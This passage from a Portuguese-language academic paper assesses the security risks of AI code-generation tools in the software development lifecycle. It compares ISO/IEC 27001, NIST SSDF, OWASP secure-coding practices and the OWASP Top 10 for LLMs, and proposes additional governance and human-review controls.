processo de implementação de IA no SDLC. Essas diretrizes incluirão sugestões para 

políticas de governança, revisão humana contínua, requisitos de documentação e práticas 

de codificação segura adaptadas à codificação assistida por IA. 

A abordagem metodológica adotada será mista, combinando revisão sistemática da 

literatura, análise comparativa de frameworks e estudo de lacunas (gap-analysis). O 

resultado esperado é a produção de conclusões que conectam teoria e prática e promovem 

um desenvolvimento de software mais seguro em ambientes mediados por IA. 

 

 

Figura 1. Metodologia do trabalho 

Nesse contexto, antes de propor um conjunto de diretrizes de segurança, é imperativo 

olhar para o que se tem hoje disponível. A ISO/IEC 27001:2022, um framework 

largamente aceito como diretriz base de segurança, com última versão sendo liberada em 

2022, ainda não enquadra IA em seus controles, mas aborda diretamente o 
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desenvolvimento seguro em seus controles 8.25 - 8.30 (ISO, 2022). A Tabela 1 apresenta 

um recorte da norma contendo os controles voltados ao SDLC. 

Tabela 1. Lista de controles ISO/IEC 27001:2022 voltados para desenvolvimento 
de software 

Índice Controle Descrição 

8.25 
Ciclo de Vida do 

Desenvolvimento Seguro 

Definição e aplicação das regras de desenvolvimento de 

software 

8.26 
Requisitos de Segurança 

Aplicacional 

Os requisitos deverão ser identificados, especificados e 

aprovados no desenvolvimento ou aquisição de software 

8.27 

Arquitetura de Sistemas 

Seguros e Princípios de 

Engenharia 

Os princípios de engenharia segura, devem ser estabelecidos, 

documentados, mantidos e aplicados a toda atividade de 

desenvolvimentos de sistemas de informação 

8.28 Codificação Segura 
Princípios de codificação segura deverá ser aplicada no 

desenvolvimento de software 

8.29 

Testes de Segurança no 

Desenvolvimento e 

Aceitação 

Processos de testes de segurança devem ser definidos e 

implementados no ciclo de vida de desenvolvimento 

8.30 
Desenvolvimento por 

Terceiros 

A organização deve dirigir, monitorar e revisar as atividades 

relacionadas a desenvolvimento terceirizado de sistemas 

O OWASP Secure Coding Practices Quick Reference Guide (OWASP SCP, 2022), 

constitui-se de uma checklist de base para verificação de práticas de programação segura, 

para evitar inserção de vulnerabilidades no código, nos diferentes processos de 

desenvolvimento. Não foram identificadas práticas especificas de adoção de soluções de 

Inteligência Artificial. A relação de controles do OWASP está representada na Tabela 2. 

Tabela 2. Práticas listadas no standard OWASP SCP de 2022 

Prática Descrição 

Validação dos dados de entrada 

Todo dado de entrada deve ser tratado como não confiável, de 

modo que deve ser validado, através de whitelist, o formato, tipo, 

tamanho e valores 

Codificação de dados de saída 

Antes de retornar dados de saída, a codificação baseada ao 

contexto deve ser utilizada, bem como centralizar o processo 

como um todo no servidor 

Autenticação e gestão de credenciais 

Os mecanismos de autenticação, preferencialmente multifatorial, 

deveram ser implementados, bem como aplicadas políticas de 

credenciais fortes e seguras 

Gestão de sessões 
Identificadores de sessão aleatórias e individuais, comunicadas 

por via segura e expirando após período de inatividade 

Controle de acessos 

Os acessos a recursos e funcionalidades devem ser restritos com 

base no princípio de menor privilégio. A autorização deve ser 

verificada sempre no servidor 

Criptografia 

Os dados em trânsito e repouso devem utilizar protocolos 

criptográficos robustos. As chaves devem ser gerenciadas de 

forma segura 

Tratamento de erros e log 
As mensagens de erro deverão indicar o erro de forma clara, sem 

expor detalhes sensíveis do sistema. Deverá ser registrados logs 
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em eventos relevantes, sem a exposição de informações 

confidenciais 

Proteção de dados 
Dados sensíveis devem ser classificados e protegidos através de 

mecanismos de segurança robustos 

Segurança nas comunicações Toda comunicação deve ser feita por canais seguros 

Configuração do sistema 

Os sistemas devem possuir configuração padrão segura, ter 

serviços desnecessários desabilitados e aplicação de patches 

regulares. 

Segurança em banco de dados 

As consultas ao banco de dados devem ser parametrizadas, com 

restrição de permissões de usuário e backups protgidos com 

criptografia segura e controle de acesso 

Gestão de arquivos 
Ao caminhos e nomes fornecidos pelos usuários devem ser 

validados e permissões adequadas com autenticação necessária 

Gestão de memória 
As funções de manipulação de memória devem ser robustas e 

seguras, e implementadas práticas de validação de limites 

Gerais de programação As boas páticas de desenvolvimento seguro devem ser seguidas 

 

A NIST SP 800-218: Secure Software Development Framework (versão 1.1) é uma norma 

específica para suportar o processo de desenvolvimento seguro, esta é estruturada em 

práticas e cada prática contempla tarefas, exemplos de implementação e referências. Essas 

práticas organizam-se em quatro grupos: 1. Preparar a Organização (PO); 2. Proteger o 

Software (PS); 3. Produzir um software bem protegido (PW); 4. Responder as 

vulnerabilidades (RV). A Tabela 3 lista as práticas por cada grupo, exceto a (PW.3) que 

foi incorporada em outras práticas:  

Tabela 3. Práticas listadas no Framework NIST (SSDF) v1.1 2022 

Grupos Práticas 

Preparar a Organização (PO) 

Definir Requisitos de Segurança para o Desenvolvimento de 

Software (PO.1) 

Implementar Papéis e Responsabilidades (PO.2) 

Implementar Cadeias de Ferramentas de Apoio (PO.3) 

Definir e Utilizar Critérios para Verificações de Segurança de 

Software (PO.4) 

Implementar e Manter Ambientes Seguros para o 

Desenvolvimento de Software (PO.5) 

Proteger o Software (PS) 

Proteger Todas as Formas de Código contra Acesso Não 

Autorizado e Manipulação Indevida (PS.1) 

Fornecer um Mecanismo para Verificação da Integridade das 

Versões de Software (PS.2) 

Arquivar e Proteger Cada Versão de Software (PS.3) 

Produzir um software bem protegido 

(PW) 

Projetar Software para Atender aos Requisitos de Segurança e 

Mitigar Riscos de Segurança (PW.1) 

Revisar o Design do Software para Verificar a Conformidade 

com os Requisitos de Segurança e as Informações de Risco 

(PW.2) 
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Reutilizar Software Existente, Bem Seguro, Sempre que 

Possível, em vez de Duplicar Funcionalidades (PW.4) 

Criar Código-Fonte Seguindo Práticas de Codificação Segura 

(PW.5) 

Configurar os Processos de Compilação, Interpretação e Build 

para Melhorar a Segurança dos Executáveis (PW.6) 

Revisar e/ou Analisar Código Legível por Humanos para 

Identificar Vulnerabilidades e Verificar a Conformidade com 

os Requisitos de Segurança (PW.7) 

Testar Código Executável para Identificar Vulnerabilidades e 

Verificar a Conformidade com os Requisitos de Segurança 

(PW.8) 

Configurar o Software para Ter Configurações Seguras por 

Padrão (PW.9) 

Responder a vulnerabilidades (RV) 

Identificar e Confirmar Vulnerabilidades de Forma Contínua 

(RV.1) 

Avaliar, Priorizar e Corrigir Vulnerabilidades (RV.2) 

Analisar Vulnerabilidades para Identificar Suas Causas Raiz 

(RV.3) 

4. Resultados e Discussão 

A adoção de soluções de IA para geração de código tem se intensificado nos últimos anos, 

principalmente pela garantia de aumento expressivo de produtividade. No entanto, essa 

tendência exige cautela: é essencial conhecer os riscos e garantir que a implementação 

seja feita de forma segura e criteriosa.  

Segundo o relatório Cybersecurity Risks of AI-Generated Code (CSET, 2024), muito 

embora modelos de geração automática ofereçam agilidade e conveniência, uma parte 

considerável do código produzido pode conter vulnerabilidades. Em muitos casos, o uso 

indiscriminado dessas ferramentas resulta em código inseguro, elevando os riscos para a 

cadeia de suprimentos de software e ampliando a superfície de ataque das aplicações. 

Portanto, antes de adotar IA para gerar código, é fundamental implementar controles de 

segurança adicionais, revisão humana rigorosa e políticas claras de governança de código.  

4.1. Lista de vulnerabilidades que podem ser introduzidas pela adoção de soluções 

de geração de código baseadas em IA 

Nesta seção, apresenta-se na Tabela 4 o mapeamento das diversas vulnerabilidades que 

podem ser introduzidas no ambiente da organização com a OWASP Top 10 for LLMs 

(OWASP, 2025). A OWASP Top 10 for LLM Applications é uma lista com as 10 

principais vulnerabilidades e riscos de segurança associados à sistemas que utilizam 

Large Language Models (LLMs), ao qual se enquadra soluções de geração automática de 

código baseadas em IA.  

Tabela 4. Lista de vulnerabilidades mapeadas pela OWASP TOP 10 for LLMs 
(2023/2024) 

Vulnerabilidades 

(OWASP top 10 LLMs) 

Descrição Vulnerabilidades 

relacionadas 
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Prompt injection – 

Código com entradas não 

sanitizadas 

Falhas como esta podem ser geradas através de 

funções que utilizam dados de entrada sem 

devido tratamento em comandos, consultas, 

execução ou cálculo. 

SQL Injection, 

Command Injection, 

XSS / Template 

Injection, Path 

Traversal. 

Insecure Output 

Handling – Erros em logs 

ou exportações não 

verificados 

Diferentemente da vulnerabilidade anterior, onde 

dados de entrada não são tratados, neste caso a 

saída é que representa vulnerabilidades, exibindo 

dados de usuários ou outras fontes, sem qualquer 

proteção ou tratamento, como arquivos 

CSV/XML ou JSON, por exemplo.  

Verbose error leakage, 

Logging inseguro, Data 

exposure. 

Training Data Poisoning 

– Dependências 

inseguras 

A inserção de bibliotecas com vulnerabilidades 

abertas, ou abandonadas, pode contaminar o 

código, representando uma brecha de segurança. 

- 

Model Denial-of-Service 

– Sistemas que tem como 

objetivo interromper ou 

tornar indisponível o 

funcionamento 

Pode ser causado através de estruturas recursivas 

sem limites no código ou através de consultas 

sem índices. 

- 

Inclusão automática de 

dependências vulneráveis 

Falhas de segurança introduzidas por bibliotecas, 

pacotes, plugins ou ferramentas de terceiros que 

são incorporados automaticamente ao projeto. 

Execução remota de 

código (RCE), 

Backdoors, Ataques em 

larga escala (ex: 

Log4Shell) 

Sensitive Information 

Disclosure - Hardcode 

inseguro 

Hardcode inseguro ou a prática de inserir 

informações confidenciais diretamente no 

código-fonte é uma das principais causas de 

vazamento de informações em aplicações, ao 

tornar público informações restritas (senhas, 

tokens de API, chaves criptográficas, strings de 

conexão com bancos de dados), o sistema pode 

ter sua confidencialidade comprometida. 

Hardcoded credentials, 

Exposição de tokens, 

configurações ou paths 

internos. 

Insecure Plugin / Tooling 

Use – Automação 

vulnerável 

Esta vulnerabilidade ocorre quando extensões, 

scripts ou ações de pipeline são integradas a 

ambientes de desenvolvimento e entrega 

contínua sem verificação de procedência, 

integridade ou conformidade.  

Execução remota de 

código (RCE), 

Backdoor, ou roubo de 

credenciais. 

Excessive Agency – 

Código com privilégios 

elevados 

Refere-se à atribuição indevida de privilégio 

excessivo a componentes automatizados, 

permitindo a realização de ações que abusem de 

suas responsabilidades funcionais. 

Privilege escalation, 

configurações 

inseguras. Por exemplo, 

chmod 777, --disable-

authentication. 

Overreliance 

(Hallucinations) – 

Confiança excessiva no 

código gerado, sendo que 

este pode conter 

informações falsas ou 

incompletas 

Esta vulnerabilidade caracteriza-se pela 

aceitação irrestrita de códigos gerados 

automaticamente que aparentam estar corretos, 

mas que podem conter erros lógicos, uso de 

funções inexistentes ou brechas de segurança.  

Backdoor, SQL 

injection, falta de 

controle de sessão, 

fluxos de autenticação 

incompletos. 

Model Theft / Data 

Leakage – Roubo de 

Outra vulnerabilidade que pode ser inserida por 

soluções de geração automática de código 

baseada em IA, é a quebra de propriedade 

Exploração de APIs 

públicas do modelo, 

Uso de criptografia ou 
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modelo e vazamento de 

dados 

intelectual ou de privacidade das informações, 

isto se dá, através da extração não autorizada de 

modelos proprietários e pelo vazamento de dados 

sensíveis utilizados em seu treinamento ou 

processamento. 

protocolos fracos, 

Armazenamento ed 

senha sem hash 

adequado. 

Estas e outras vulnerabilidades podem ser incorporadas dentro da organização através 

destas ferramentas, aumentando a superfície de ataque das organizações. De acordo com 

o relatório Cybersecurity Risks of AI-Generated Code (CSET, 2024), os modelos de IA 

são vulneráveis também a ataques, como adulterações ou manipulação de dados, mas não 

só, estes também podem involuntariamente inserir vulnerabilidades ao código, utilizando 

de bibliotecas descontinuadas, falhando processos de autenticação ou utilizando códigos 

vulneráveis. 

4.2. Riscos diretos associados à geração de código por soluções de Inteligência 

Artificial 

A análise dos riscos inerentes à introdução de códigos gerados por Inteligência Artificial 

fundamenta-se na tríade clássica de segurança da informação — confidencialidade, 

integridade e disponibilidade (CID) — expandindo-se para dimensões críticas como a 

dependência tecnológica, a governança e os riscos operacionais ao longo do ciclo de vida 

de desenvolvimento. Conforme postulam Negri-Ribalta et al. (2024), embora as 

ferramentas de IA potencializem a capacidade produtiva, elas introduzem 

vulnerabilidades complexas ao código-fonte. Entre as fragilidades identificadas, 

destacam-se aquelas listadas no MITRE CWE Top 25, como a CWE-787 (Out-of-bounds 

Write) e a CWE-89 (SQL Injection), ocupando, respectivamente, a primeira e a terceira 

posições no ranking de criticidade [MITRE, 2023]. Enquanto a CWE-787 compromete 

diretamente a integridade e a continuidade operacional, a CWE-89 representa uma 

ameaça multidimensional, capaz de impactar simultaneamente todos os pilares da tríade 

de segurança e os processos de governança organizacional. A Tabela 5, como exemplos 

de riscos, ilustra dentro dos riscos à integridade e confiabilidade do código e riscos 

operacionais e de segurança ao longo do ciclo de vida, algumas destas vulnerabilidades 

identificadas. A adoção destas ferramentas levanta também a discussão da necessidade 

de governança e de validação humana, se a utilização de ferramentas automáticas para 

geração de código substitui completamente, parcialmente ou se não substitui o papel 

humano no processo. O Estudo desenvolvido por Shukla, Joshi & Syed (2025), demonstra 

que o uso contínuo de IA sem supervisão e governança pode representar riscos 

operacionais através da degradação da segurança da aplicação ao longo do ciclo de vida, 

a metodologia foi analisar uma centena de amostras de códigos sofrendo rodadas 

repetitivas de otimização e melhoria, através de prompts e interações diferentes em cada 

amostra, sendo alguns destes incluídos na Tabela 5, como riscos de dependência 

tecnológica e integridade e confiabilidade do código.  

Uma outra questão relevante e crucial de ser estabelecida refere-se aos riscos legais e de 

responsabilidade em relação a licenciamento, propriedade intelectual e governança. Ma, 

Song, Xue, Wen & Xiang (2023) desenvolveram uma investigação exaustiva que 

constatou problemas estruturais nos códigos, em relação a auditoria, atribuição de autoria 

e de compliance, levantando sérias discussões jurídicas e de governança para código 

gerado por ferramentas de IA. 

Entre os principais riscos introduzidos por códigos gerados por IA, destacam-se: 
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Tabela 5. Principais riscos provenientes da utilização de sistemas de IA para 
geração de código 

Tipo de Risco Exemplo de Risco 

Riscos à integridade e 

confiabilidade do código 

Geração de código inseguro: Modelos de IA podem produzir trechos 

de código com vulnerabilidades conhecidas (ex.: injection, insecure 

deserialization, hardcoded secrets), especialmente quando treinados 

com dados de código público e heterogêneo. 

Ausência de validação humana: A confiança excessiva na saída da IA 

pode resultar na implementação de código sem revisão ou teste 

adequado, violando práticas como code review e secure coding 

guidelines. 

Propagação de erros: Vulnerabilidades presentes nos dados de 

treinamento podem ser reproduzidas sistematicamente em novos 

códigos, ampliando riscos em escala. 

Riscos relacionados à 

confidencialidade e privacidade 

Vazamento de informações sensíveis: Prompts que contêm trechos de 

código proprietário, credenciais ou dados pessoais podem ser 

armazenados ou reutilizados nos modelos, comprometendo a 

confidencialidade. 

Reversão da anonimização ou vazamento de dados: Se o modelo for 

mal treinado, ele pode “lembrar” e reproduzir informações sensíveis 

de seus dados de treinamento, violando princípios da LGPD (Lei nº 

13.709/2018). 

Riscos de dependência 

tecnológica e de governança 

Dependência excessiva da IA: Equipes podem perder o domínio 

técnico do código, gerando riscos operacionais e de continuidade 

(violação de boas práticas da ISO/IEC 27002 e 27035). 

Falta de rastreabilidade: Dificuldade em auditar a origem do código ou 

justificar decisões automatizadas, afetando accountability e 

conformidade. 

Ausência de versionamento e controle: Código gerado 

automaticamente pode não seguir padrões de versionamento, gestão de 

mudança ou repositórios seguros. 

Riscos de conformidade e 

responsabilidade legal 

Violação de direitos autorais: Modelos podem gerar trechos de código 

derivados de obras com licenças restritivas, violando direitos de 

propriedade intelectual. 

Responsabilidade por vulnerabilidades: Falhas introduzidas por IA não 

eximem o desenvolvedor ou a organização de responsabilidade, 

conforme previsto em normativas de segurança e responsabilidade 

civil. 

Não conformidade regulatória: Adoção de IA sem análise de impacto 

pode contrariar exigências da LGPD, ISO/IEC 42001 (IA) e NIST AI 

RMF. 
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Riscos operacionais e de 

segurança ao longo do ciclo de 

vida 

Injeção de prompt (prompt injection): Atacantes podem manipular 

instruções enviadas à IA para induzi-la a gerar código malicioso ou 

vazar dados. 

Código com backdoors ocultos: A IA pode, inadvertidamente, incluir 

instruções que criam acessos indevidos ou funções não documentadas. 

Incompatibilidade com políticas internas: Códigos gerados podem não 

seguir controles internos de segurança, criptografia ou segregação de 

funções. 

4.3. Riscos provenientes da utilização de Soluções de IAs. 

Ao realizar um cruzamento das vulnerabilidades com os riscos identificados no ponto 2.3 

(Riscos diretos associados à geração de código por soluções de Inteligência Artificial) 

deste trabalho, temos: 

Riscos à integridade e confiabilidade do código – Afetam diretamente a capacidade de 

garantir que o código esteja correto, consistente e que não esteja vulnerável à manipulação 

indevida de dados. Para este risco, cinco das vulnerabilidades são consideradas críticas, 

são elas: - Prompt Injection; Insecure Output Handling; Training Data Poisoning; 

Inclusão automática de dependências vulneráveis; Overreliance (Hallucinations). Estas 

vulnerabilidades identificadas podem acarretar no risco, seja através da geração de um 

código inseguro ou através da ausência de validação humana, o que destaca a necessidade 

de sempre incluir processos de validação do código gerado, incluindo uma etapa de 

validação humana. 

Riscos à confidencialidade e privacidade – Atacam diretamente a segurança dos dados 

sensíveis, através de acesso indevido ou vazamento de informação durante a geração ou 

utilização de código por sistemas de IA. Para este risco, as vulnerabilidades consideradas 

críticas são: Prompt Injection; Insecure Output Handling; Sensitive Information 

Disclosure; Insecure Plugin / Tooling Use; Model Theft / Data Leakage. Estas 

vulnerabilidades identificadas podem resultar em risco, seja pelo vazamento de 

informações sensíveis, seja através da reversão da anonimização, destacando que a 

sanitização das informações é crucial no processo de utilização de ferramentas de IA, bem 

como a definição de políticas de segurança robustas e adaptadas para este processo, 

definição de arquitetura e infraestrutura seguras, que tenham processos robustos de 

segmentação de dados, controle de acesso, criptografia moderna em todos os dados 

sensíveis (repouso e em trânsito) e isolamento de ambientes. 

Riscos de dependência tecnológica e de governança – Dependência excessiva de modelos 

e ferramentas externas, incidindo em risco de perda de governança, auditabilidade e 

responsabilidade. Neste caso, as vulnerabilidades são consideradas críticas, são elas: - 

Training Data Poisoning; Inclusão automática de dependências vulneráveis; Insecure 

Plugin / Tooling Use; Excessive Agency; Overreliance (Hallucinations); Model Theft / 

Data Leakage. O fato dos riscos serem relacionados à tomadas de decisão e governança, 

torna ainda mais evidente a necessidade de políticas robustas e uma estrutura de segurança 

que abranja soluções de IA, bem como, arquiteturas robustas reforçando os itens 

anteriores. 
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Riscos de conformidade e responsabilidade legal – Podem resultar violação de leis, 

problemas de auditoria e responsabilidade ou riscos contratuais, de licenciamento ou 

regulatórios. Para este risco, quase todas as vulnerabilidades podem ocasionar brechas 

graves de segurança, como: - Insecure Output Handling; Training Data Poisoning; 

Inclusão automática de dependências vulneráveis; Sensitive Information Disclosure; 

Insecure Plugin / Tooling Use; Overreliance (Hallucinations); Model Theft / Data 

Leakage. Os riscos de conformidade estão ligados à políticas e estrutura robusta de 

governança, transparência e rastreabilidade, bem como análises de riscos contratuais, uso 

responsável e para proteção de dados. 

Riscos operacionais e de segurança ao longo do ciclo de vida – Afetam diretamente a 

capacidade de garantir a continuidade operacional, robustez, proteção contra ataques, 

confiabilidade técnica e manutenção segura do software. Nesta seção, quase todas as 

vulnerabilidades estão associadas ao risco, são elas: - Prompt Injection; Insecure Output 

Handling; Training Data Poisoning; Model Denial-of-Service; Inclusão automática de 

dependências vulneráveis; Insecure Plugin / Tooling Use; Excessive Agency; 

Overreliance (Hallucinations). Os riscos operacionais e de segurança ao longo do ciclo 

de vida estão associados à robustez dos processos de desenvolvimento, seja através da 

verificação e mitigação das vulnerabilidades técnicas introduzidas pela IA, seja através 

da garantia de continuidade operacional e gestão segura de dependências, automações e 

permissões, o que abrange desde a geração do código até as fases de implantação, 

manutenção e evolução.  

Destaca-se que estas vulnerabilidades associadas ao uso de IA na geração automática de 

código podem também acarretar indiretamente nos riscos assinalados. Dessa forma, o 

efeito dessas vulnerabilidades tende a ser sistêmico, exigindo abordagem integrada e 

mecanismos robustos de mitigação. 

4.4. Riscos frente à standards de segurança. 

A adoção segura de soluções de geração automática de código baseadas em IA, associa-

se a uma série de fatores, dentre eles, uma evolução dos standards de segurança 

existentes, que envolve: atualização do modelo de governança, validação contínua do 

código gerado e um processo de rastreio e auditoria constante. Neste tópico, aborda-se 

qual o papel dos principais standards de segurança supracitados no presente trabalho, 

bem como, se os aplicar no SDLC é suficiente para garantir o nível de segurança mínimo, 

ou se são necessários controles adicionais. 

Ao realizar a análise dos riscos (tópico 4.2 do presente trabalho), é importante verificar 

se os controles são direta e adequadamente aplicáveis (cobertura alta), parcial ou 

indiretamente aplicáveis (cobertura parcial), ou inadequado ou não aplicável (cobertura 

baixa). A Tabela 6, apresenta os resultados da análise: 

 
  

Segurança Cibernética na Prática

259



 

Tabela 6. Riscos em Soluções de Geração Automática de Código Baseadas em 
IA versus Standards de Segurança 

Categoria de Risco ISO/IEC 27001 NIST SSDF (SP 

800-218) 

OWASP SCP de 2022 

Riscos à integridade e 

confiabilidade do código 

Cobertura parcial, 

através de modelo de 

governo de segurança 

Cobertura parcial, 

através da definição 

de testes e revisão 

de código 

Cobertura parcial, com 

diretrizes técnicas de 

codificação segura e 

prevenção de 

vulnerabilidades comuns 

Riscos à 

confidencialidade e 

privacidade 

Cobertura parcial, 

através de controles de 

acesso e 

confidencialidade 

Cobertura parcial, 

através de controles 

de privacidade no 

ciclo de vida de 

desenvolvimento 

Cobertura parcial, com 

recomendações técnicas 

para proteção de dados 

sensíveis 

Riscos de dependência 

tecnológica e de 

governança 

Cobertura baixa, com 

foco na gestão de 

terceiros 

Cobertura baixa, 

ausência de 

controles  

Cobertura baixa, possui 

foco em práticas técnicas 

de desenvolvimento e não 

governança 

Riscos de conformidade e 

responsabilidade legal 

Cobertura parcial, com 

controles 

organizacionais 

genéricos 

Cobertura baixa, 

não endereça 

aspectos legais 

Cobertura baixa, visto que 

não aborda requisitos 

legais 

Riscos operacionais e de 

segurança ao longo do 

ciclo de vida 

Cobertura parcial, com 

foco em continuidade e 

incidentes 

Cobertura alta, com 

abordagem de 

segurança ao longo 

do SDLC 

Cobertura alta, com foco 

em práticas contínuas de 

codificação segura  

Para os riscos à integridade e confiabilidade do código, entende-se que, mesmo que 

houvesse conformidade com os três standards acima, o risco seria tratado de forma 

parcial pela implementação de um modelo robusto de governança, testes de segurança 

regulares ao sistema, e cobertura de algumas vulnerabilidades, mesmo que não de forma 

específica e aprofundada à modelos que utilizem IA. 

Nos riscos à confidencialidade e privacidade, observa-se que haverá controles 

transversais para o tema, no entanto, não são especificadas medidas referente à IA como 

vetor de exposição ou vazamento de dados, via prompts, ou saídas não tratadas. 

Já nos riscos de dependência tecnológica e governança, o nível de cobertura é baixo, uma 

vez que não foi possível identificar controles aprofundados relacionados à accountabillity 

e auditoria no caso de sistemas baseados em IA, ou aplicação de controles tradicionais de 

SDLC, como padrões de versionamento, processos de gestão de mudança ou requisitos 

de cada ambiente de sistema, podendo levar a ausência de domínio técnico do código e 

problemas de governança. 

Para os riscos de conformidade e responsabilidade legal, temos uma questão cerne que é 

a ausência de regulamentação de soluções de IA ou diretrizes definidas para guiar o 

processo, o que dificulta ainda mais a responsabilização por falhas causadas por IA. Isso 

pode estar refletido nos standards, que não tratam a questão de responsabilidade, autoria, 

questões referentes a propriedade intelectual ou licenciamento. 

No que tange aos riscos operacionais e de segurança no ciclo de vida de desenvolvimento, 

observa-se que a conformidade com os standards referenciados oferece apenas uma 
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mitigação parcial. Embora essas normas apresentem diretrizes claras para o ciclo de vida 

tradicional, elas carecem de especificidade quanto às vulnerabilidades intrínsecas aos 

sistemas de IA. Consequentemente, mesmo ambientes em conformidade permanecem 

suscetíveis a vetores de ataque emergentes que não são cobertos pelas estruturas de 

controle vigentes. 

4.5. Controles adicionais para garantir maior segurança aos sistemas. 

Grande parte das vulnerabilidades listadas na OWASP Top 10 for LLMs (OWASP, 2025) 

não é contemplada pelos frameworks analisados, uma vez que estes não são específicos 

para soluções de Inteligência Artificial. Embora a NIST SSDF e a OWASP SCP abordem 

profundamente temas relacionados ao ciclo de vida de desenvolvimento seguro, e a 

ISO/IEC 27001 estabeleça princípios de segurança e um sistema de gestão da segurança 

da informação, nenhum desses frameworks cobre de forma abrangente os riscos. Portanto, 

é imperativo ter em consideração que os standards tradicionais não cobrem 

adequadamente vulnerabilidades emergentes específicas de IA, sendo necessário adotar 

mecanismos mitigatórios adicionais. Na Tabela 7, apresenta-se um conjunto de controles 

adicionais relevantes, obtidos através de recomendações da OWASP Top 10 for LLMs 

(OWASP, 2025), NIST AI Risk Management Framework (NIST, 2023a), NIST AI 

Content Provenance and Authentication (NIST, 2023b), Security degradation in iterative 

AI code generation: a systematic analysis of the paradox (Shukla, Joshi & Syed, 2025), 

The “code” of ethics: a holistic audit of AI code generators (Ma et al., 2023). 

Tabela 7. Diretrizes Complementares para Mitigação de Riscos em Soluções de 
Geração Automática de Código Baseadas em IA 

Categoria de Risco Diretrizes complementares de Segurança 

Riscos à integridade e 

confiabilidade do código 

•  Revisão humana obrigatória (human-in-the-loop) de 

todo código gerado por IA – (OWASP Top 10 for LLMs)  

•  Integração ao pipeline de análise estática e dinâmica 

automatizada – (OWASP Top 10 for LLMs) 

•  Testes de segurança específicos para código gerado por 

IA – (OWASP Top 10 for LLMs) 

•  Registro da origem (IA, prompt, versão do modelo) do 

código – (Negri-Ribalta et al. (2024)) 

Riscos à 

confidencialidade e 

privacidade 

•  Classificação da informação aplicada a prompts e 

outputs – (OWASP Top 10 for LLMs) 

•  Bloqueio de envio de dados sensíveis para modelos 

externos – (OWASP Top 10 for LLMs) 

•  Detecção automática de segredos em outputs (secrets 

scanning) – (OWASP Top 10 for LLMs) 

•  Criptografia e logging controlado de interações com IA 

– (OWASP Top 10 for LLMs) 

Riscos de dependência 

tecnológica e de 

governança 

•  Política formal de uso de IA generativa – (OWASP Top 

10 for LLMs) 

•  Avaliação periódica de fornecedores e modelos (vendor 

risk) – (NIST AI Risk Management Framework (AI 

RMF 1.0)) 
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•  Capacidade de limites de autonomia e mecanismos de 

override – (OWASP Top 10 for LLMs) 

•  Registro de decisões automatizadas e limites de 

autonomia - (Shukla, Joshi & Syed (2025)) 

Riscos de conformidade e 

responsabilidade legal 

•  Análise de compliance do uso de código gerado por IA 

– (Ma, Song, Xue, Wen & Xiang (2023)) 

•  Marca d’água (watermarking) para rastreio e detecção 

de uso não autorizado. – (NIST – AI Content Provenance 

and Authentication) 

•  Proibição de uso automático sem validação legal – 

(NIST AI Risk Management Framework (AI RMF 1.0)) 

•  Registro de autoria assistida por IA – (Ma, Song, Xue, 

Wen & Xiang (2023)) 

•  Adoção de políticas de compliance específicas para IA – 

(Ma, Song, Xue, Wen & Xiang (2023)) 

Riscos operacionais e de 

segurança ao longo do 

ciclo de vida 

•  Integração da IA ao SSDLC e DevSecOps – (OWASP 

Top 10 for LLMs) 

•  Monitoramento contínuo de comportamento do modelo 

– (OWASP Top 10 for LLMs) 

•  Gestão de versões e mudanças de modelos – (OWASP 

Top 10 for LLMs) 

•  Planos de resposta a incidentes envolvendo IA – 

(OWASP Top 10 for LLMs) 

5. Conclusões finais e desafios futuros 

A análise conduzida permite concluir que a integração segura de ferramentas de geração 

automática de código baseadas em IA exige um modelo de segurança híbrido. Este 

modelo deve transcender a mera conformidade com os padrões tradicionais de segurança 

da informação, integrando políticas de governança específicas para IA e a revisão humana 

sistemática (Human-in-the-Loop).  

Tal abordagem, aliada à práticas rigorosas de desenvolvimento seguro, é fundamental 

para garantir a resiliência dos sistemas e assegurar que a automação opere sob parâmetros 

de robustez, controle e responsabilidade ética. 

Para trabalhos futuros, além da comparação entre ferramentas, torna-se urgente investigar 

como os frameworks de segurança consolidados, como o NIST SP 800-218, podem ser 

adaptados para auditar especificamente o fluxo de dados e os prompts que alimentam 

essas IAs. Outro campo fértil para pesquisas futuras reside na análise do impacto das 

técnicas de Prompt Engineering na geração de vulnerabilidades críticas (CWEs), 

avaliando se a instrução do usuário pode mitigar ou agravar os riscos de segurança de 

forma sistemática. 

Adicionalmente, um desafio relevante consiste em empregar um mesmo código base 

alimentado repetidamente por diferentes soluções de geração automática de código e, 

posteriormente, submeter os resultados a testes de segurança para avaliar qual solução 

introduz maior número de vulnerabilidades, quais tipos de falhas são inseridos e em que 

etapa do processo elas ocorrem. 
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À medida que os riscos extrapolam as vulnerabilidades conhecidas, geradas por erro ou 

programação fraca, maior serão os desafios no controle de riscos associados à geração de 

código por IA. Assim, esta disciplina carece de muito estudo e evolução. 
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